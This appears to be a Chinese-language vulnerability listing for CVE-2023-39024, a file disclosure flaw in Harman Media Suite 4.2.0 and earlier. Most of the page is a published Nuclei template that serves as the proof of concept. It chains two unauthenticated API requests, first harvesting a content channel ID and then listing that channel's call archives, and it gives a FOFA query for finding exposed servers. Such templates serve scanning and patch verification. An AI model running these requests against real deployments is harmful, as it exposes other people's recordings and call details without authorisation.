CVE-2023-39024: Harman Media Suite <= 4.2.0 - Local File Disclosure

日期: 2025-08-01 | 影响软件: Harman Media Suite | POC: 已公开

漏洞描述

Harman Media Suite (versions 4.2.0 and below) are vulnerable to possible Local File Disclosure. This allows an unauthenticated user to potentially download attachments and recordings stored within the Media Suite application if anonymous access to the User Portal is enabled.

PoC代码[已公开]

id: CVE-2023-39024

info:
  name: Harman Media Suite <= 4.2.0 - Local File Disclosure
  author: s4e-io
  severity: high
  description: |
    Harman Media Suite (versions 4.2.0 and below) are vulnerable to possible Local File Disclosure. This allows an unauthenticated user to potentially download attachments and recordings stored within the Media Suite application if anonymous access to the User Portal is enabled.
  reference:
    - https://github.com/BenTheCyberOne/CVE-2023-39024-5-POC
    - https://sploitus.com/exploit?id=C20FE0B5-806A-5687-850C-75D195576B35
    - https://mediasuite.harman.com/channel-store
  metadata:
    verified: true
    max-request: 2
    vendor: harman
    product: media-suite
    fofa-query: "Harman Media Suite"
  tags: cve,cve2023,harman,media-suite,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /userportal/api/rest/contentChannels/?startIndex=0&pageSize=4&sort=TIME&showType=all HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"plcm-content-channel", "privacy", "coverImage")'
          - 'contains(content_type, "application/vnd.plcm.plcm-content-channel-list+json")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: channelId
        group: 1
        regex:
          - '"channelId":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /userportal/api/rest/contentChannels/{{channelId}}/archives/?startIndex=0&pageSize=15&sort=time&onlyIncludeApproved=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"callId", "displayName", "duration")'
          - 'contains(content_type, "application/vnd.plcm.plcm-csc+json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100a82f25d09225b8325566579b1ef329c17422e0d04717c1b791948695b3310397022100ac62da14afbcee03de0436f402b1ce0139f9639ff04f525057834c8a9b09d4a8:922c64590222798bb761d5b6d8e72950